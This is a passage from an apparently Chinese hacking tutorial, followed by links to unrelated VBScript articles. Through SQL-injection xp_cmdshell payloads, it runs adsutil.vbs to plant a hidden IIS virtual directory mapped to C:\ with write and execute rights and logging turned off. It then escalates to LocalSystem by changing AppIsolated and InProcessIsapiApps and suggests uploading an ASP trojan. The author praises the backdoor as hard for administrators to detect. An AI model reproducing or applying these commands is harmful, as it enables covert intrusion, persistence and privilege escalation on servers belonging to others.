Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1';--
設(shè)置為允許列目錄和webdav訪問(wèn),然后打開(kāi)你的IE,Ctrl+O打開(kāi)“打開(kāi)”對(duì)話框,鍵入你剛才設(shè)置的虛擬目錄。選中“以Web文件夾方式打開(kāi)”,確定。如圖:
圖一
啊哈!看到所有的文件夾了嗎?如圖所示:
圖二
現(xiàn)在你就可以像操作普通文件夾一樣操作以上文件了。還可以Ctrl+C、Ctrl+V復(fù)制文件呢。實(shí)現(xiàn)了方便上傳、修改文件的功能。
(二)更進(jìn)一步
其實(shí)我們完全可以更進(jìn)一步利用上面所說(shuō)的思路直接制作一個(gè)IIS后門(mén)。來(lái),看我的實(shí)現(xiàn)!(這里使用了動(dòng)鯊在《近乎完美的IIS后門(mén)》中所介紹的方法。不過(guò)我是直接用adsutil.vbs這個(gè)MS自帶的工具完成了設(shè)置。對(duì)此文章感興趣的朋友可以自己找來(lái)看看。)
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';-- //首先建立一個(gè)wofeiwo目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"';-- //在wofeiwo目錄下又建立了一個(gè)door目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”';-- //設(shè)置door目錄映射到C:根目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1';-- //這里及以下都是給目錄設(shè)置個(gè)種權(quán)限??梢詤⒖家陨系拿钭⑨?。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1';--
可能會(huì)有人說(shuō),什么阿。不就是和上面的一樣嗎?呵呵。其實(shí)你仔細(xì)看。會(huì)發(fā)現(xiàn)我們上面新建的第一個(gè)目錄“wofeiwo”并沒(méi)有設(shè)置“Path”屬性。也就是說(shuō)他沒(méi)有映射到任何實(shí)際的目錄上去。這里應(yīng)用了IIS的一個(gè)漏洞(涉及到IIS5.0.1.0)。即對(duì)于沒(méi)有“Path”屬性的虛擬目錄是不會(huì)在IIS管理器中出現(xiàn)的。相當(dāng)于一個(gè)隱藏的目錄。而其下的虛擬目錄“door”同樣是由于上級(jí)目錄不可見(jiàn)的,所以它也是不可見(jiàn)的!但是“door”目錄是設(shè)置了“Path”屬性的。所以如果我們提交http://IP/wofeiwo/door/ 路徑。其結(jié)果是會(huì)返回C:下的文件目錄?,F(xiàn)在此目錄已經(jīng)是我們可以任意寫(xiě)文件讀文件了。并且還可以轉(zhuǎn)到System32目錄下對(duì)程序進(jìn)行運(yùn)行。我們的后門(mén)雛形建成了。(注意看我這里是加上了AccessExecute執(zhí)行權(quán)限的)
但是我們現(xiàn)在執(zhí)行的程序都還是IIS默認(rèn)的IUSR用戶(hù)的Guest權(quán)限。沒(méi)有大的權(quán)限我們總是不爽。下面來(lái)提升我們的權(quán)限,加IUSR用戶(hù)為管理員就不說(shuō)了。下面說(shuō)說(shuō)另兩個(gè)方法:
1、設(shè)置AppIsolated,使此目錄下程序在IIS的進(jìn)程中進(jìn)行。這樣就繼承了IIS的System權(quán)限。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0';--
2、 將解析asp文件的asp.dll加入到IIS的特權(quán)dll中。使得其在進(jìn)程中運(yùn)行。從而的到IIS的LocalSystem權(quán)限。
1)首先得到IIS所有的特權(quán)dll
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps';--
返回:
InProcessIsapiApps : (LIST) (5 Items)
"C:\WINDOWS\system32\inetsrv\httpext.dll"
"C:\WINDOWS\system32\inetsrv\httpodbc.dll"
"C:\WINDOWS\system32\inetsrv\ssinc.dll"
"C:\WINDOWS\system32\msw3prt.dll"
"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll"
2) 將asp.dll設(shè)置到InProcessIsapiApps組中去,這里要注意,把上面的所有查到的dll都加上,否則會(huì)被刪除。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"';--
返回:
InProcessIsapiApps : (LIST) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"
這樣就設(shè)置好了。以后無(wú)論什么asp文件就都是 LoaclSystem權(quán)限了。通過(guò)以上的步驟。我們的IIS后門(mén)基本上就是設(shè)置好了。你可以上傳asp木馬加以輔助控制。這樣的設(shè)置型后門(mén)是很難被管理員發(fā)現(xiàn)的。并且完全通過(guò)IIS的80端口通訊。又沒(méi)有日志記錄。所以相當(dāng)安全。
三、結(jié)言
到這里我關(guān)于adsutil.vbs的一點(diǎn)簡(jiǎn)單應(yīng)用就結(jié)束了。突然發(fā)現(xiàn)文章已經(jīng)寫(xiě)了那么多了。哇啊啊……文章寫(xiě)得好累阿。由于本人是一菜鳥(niǎo)。文章難免有疏漏。還請(qǐng)大家多多指教。有什么疑問(wèn)請(qǐng)和我聯(lián)系。我的郵箱:wofeiwo@bugkidz.org。或者大家可以到火狐技術(shù)聯(lián)盟http://www.wrsky.com來(lái)找我。我的ID:我非我。是論壇新手版的版主。
相關(guān)文章
VBS 添加右鍵計(jì)算文件MD5的實(shí)現(xiàn)代碼
最近相關(guān)的備份比較頻繁,為了校驗(yàn)文件的完整性,老是要打開(kāi)某文件HASH校驗(yàn)工具,比較麻煩,于是乎寫(xiě)了這個(gè)東東,文件較大時(shí)計(jì)算有點(diǎn)慢,文件的MD5值保存在剪貼板2013-07-07使用 Iisftp.vbs 創(chuàng)建FTP站點(diǎn)的方法
Iisftp.vbs 使用的默認(rèn)屬性與 IIS 管理器在建立新的 FTP 站點(diǎn)時(shí)使用的屬性相同,并且它遵循相同的繼承屬性規(guī)則。要配置 FTP 站點(diǎn)的更多高級(jí)屬性,請(qǐng)使用 IIS 管理器2014-07-07VBS入門(mén)篇之帶你領(lǐng)略腳本語(yǔ)言的快樂(lè)
vbs文件是微軟開(kāi)發(fā)的一個(gè)腳本語(yǔ)言,可以在windows上直接打開(kāi),下面這篇文章主要給大家介紹了關(guān)于VBS入門(mén)篇的相關(guān)資料,文中通過(guò)圖文介紹的非常詳細(xì),需要的朋友可以參考下2022-04-04VBS教程:VBScript 基礎(chǔ)-VBScript 數(shù)據(jù)類(lèi)型
VBS教程:VBScript 基礎(chǔ)-VBScript 數(shù)據(jù)類(lèi)型...2006-11-11用vbs檢索在運(yùn)行對(duì)話框中鍵入的一系列命令的代碼
用vbs檢索在運(yùn)行對(duì)話框中鍵入的一系列命令的代碼...2007-03-03